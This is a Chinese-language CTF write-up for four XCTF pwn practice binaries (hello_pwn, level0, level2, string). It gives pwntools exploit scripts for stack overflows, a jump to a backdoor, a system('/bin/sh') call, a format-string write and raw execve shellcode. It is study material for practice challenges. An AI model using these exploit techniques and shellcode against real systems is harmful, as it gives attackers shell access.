攻防世界——pwn(2)

hello_pwn

攻防世界——pwn(2)_第1张图片
只有NX哟
攻防世界——pwn(2)_第2张图片
攻防世界——pwn(2)_第3张图片
攻防世界——pwn(2)_第4张图片
没啥好说的,填充然后让60106c的位置为1853186401就可以啦
直接上exp

from pwn import *
p = process("./hello_pwn")
p.recvuntil('lets get helloworld for bof\n')
payload = "A"*4 + p64(1853186401)
p.send(payload)
print p.recv()

在这里插入图片描述

level0

攻防世界——pwn(2)_第5张图片

攻防世界——pwn(2)_第6张图片
有后门函数,想办法调用就行了

攻防世界——pwn(2)_第7张图片
用read写进去调用
exp

from pwn import *
elf = ELF("./level0")
p = process("level0")
addr = elf.symbols["callsystem"]
payload = "a"*136 + p64(addr)
p.send(payload) 
p.interactive()

攻防世界——pwn(2)_第8张图片

攻防世界——pwn(2)_第9张图片
想办法利用read函数把/bin/sh写到system里面去,然后执行就可以了
攻防世界——pwn(2)_第10张图片
攻防世界——pwn(2)_第11张图片
在views里面查找发现里面有/bin/sh的字符串
所以核心是直接把/bin/sh放入system里面

from pwn import *
p = process("level2") 
elf = ELF("./level2")
sys_addr = elf.symbols["system"] 
bin_addr = elf.search("/bin/sh").next()
payload = 'a'*140 + p32(sys_addr) + p32(0x12345678) + p32(bin_addr)# p32是返回地址可以随便写
p.sendline(payload) 
p.interactive()

补充一下,如果里面没有/bin/sh要自己写入的话

利用read函数写入"/bin/sh"的重点是构造这个payload模块:

padding1 + address of read + address of system + p32(0)+p32(addr_bss)+p32(10)

其中,address of system为read函数调用完后的返回地址,p32(0),p32(addr_bss),p32(10)为传给read函数的三个参数,p32(addr_bss)将存入"/bin/sh\x00"。

攻防世界——pwn(2)_第12张图片

string

攻防世界——pwn(2)_第13张图片
感觉要开始绕过canary了
攻防世界——pwn(2)_第14张图片

void (_fastcall *)(_QWORD, void *))v1(0LL, v1)
记住看到这样的语句意思是把v1强制转化成一个函数指针 ,然后调用这个函数。也就是说如果我们shellcode写到这个位置,就能直接调用。shellcode可以通过上面的read函数来写进去。
然后这里就要看逻辑了

攻防世界——pwn(2)_第15张图片
随机生成v3,v3[0]=68,v3[1]=85,a2是v3[0]地址
攻防世界——pwn(2)_第16张图片
要让*a1=a1[1],发现a1[1]就是v3

exp

from pwn import *
p = process("./string")
p.recvuntil("secret[0] is ") 
addr = int(p.recvuntil("\n"),16) #v3地址
log.success("addr:"+hex(addr))
p.sendlineafter("be:\n","GG") 
p.sendlineafter("up?:\n","east") 
p.sendlineafter("leave(0)?:\n","1")
p.sendlineafter("address\'\n", str(addr))
p.sendlineafter("is:\n", "%85c%7$n")#利用格式化字符串漏洞把*a1=85,填充85个字节到第七个参数,然后把已经输出的字节数写入
shellcode="\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" 
p.sendlineafter("SPELL\n",shellcode) 
p.interactive()

攻防世界——pwn(2)_第17张图片

你可能感兴趣的:(任务)